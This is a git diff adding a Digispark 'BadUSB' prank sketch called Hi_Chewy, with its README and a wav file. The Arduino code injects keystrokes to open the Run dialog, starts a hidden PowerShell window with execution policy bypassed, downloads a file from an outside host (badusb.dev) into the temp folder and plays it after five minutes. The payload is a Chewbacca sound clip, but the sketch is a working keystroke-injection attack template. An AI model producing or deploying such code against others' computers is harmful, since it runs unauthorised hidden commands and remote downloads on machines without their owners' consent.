diff --git a/Hi_Chewy/Chewbacca.wav b/Hi_Chewy/Chewbacca.wav new file mode 100644 index 0000000..c0d0d77 Binary files /dev/null and b/Hi_Chewy/Chewbacca.wav differ diff --git a/Hi_Chewy/Hi_Chewy.ino b/Hi_Chewy/Hi_Chewy.ino new file mode 100644 index 0000000..ad7883f --- /dev/null +++ b/Hi_Chewy/Hi_Chewy.ino @@ -0,0 +1,31 @@ +//Hi Chewy opens a hidden powershell window, downloads a 60 second wav file of random Chewbacca from Star Wars clips, and then +//waits 5 minutes and plays it + +#include "DigiKeyboard.h" +void setup() { +} + +void loop() { + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); + DigiKeyboard.delay(500); + DigiKeyboard.print(F("powershell -NoP -Win H -Noni -Exec Bypass")); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + DigiKeyboard.print(F("start-sleep 300;")); + DigiKeyboard.print(F("irm -uri \"https://badusb.dev/tr/files/Chewbacca.wav\" -OutFile \"$env:temp\\play.wav\";")); + DigiKeyboard.print(F("Add-Type -AssemblyName presentationCore;")); + DigiKeyboard.print(F("$filepath = [uri] \"$env:temp\\play.wav\";")); + DigiKeyboard.print(F("$wmplayer = New-Object System.Windows.Media.MediaPlayer;")); + DigiKeyboard.print(F("$wmplayer.Open($filepath);")); + DigiKeyboard.print(F("Start-Sleep 2;")); + DigiKeyboard.print(F("$duration = $wmplayer.NaturalDuration.TimeSpan.TotalSeconds;")); + DigiKeyboard.print(F("$wmplayer.Play();")); + DigiKeyboard.print(F("Start-Sleep $duration;")); + DigiKeyboard.print(F("$wmplayer.Stop();")); + DigiKeyboard.print(F("$wmplayer.Close();")); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + for(;;){ /*empty*/ } +} diff --git a/Hi_Chewy/README.md b/Hi_Chewy/README.md new file mode 100644 index 0000000..6db8f92 --- /dev/null +++ b/Hi_Chewy/README.md @@ -0,0 +1 @@ +Hi Chewy opens a hidden powershell window, downloads a 60 second wav file of random Chewbacca from Star Wars clips, waits 5 minutes and then plays it.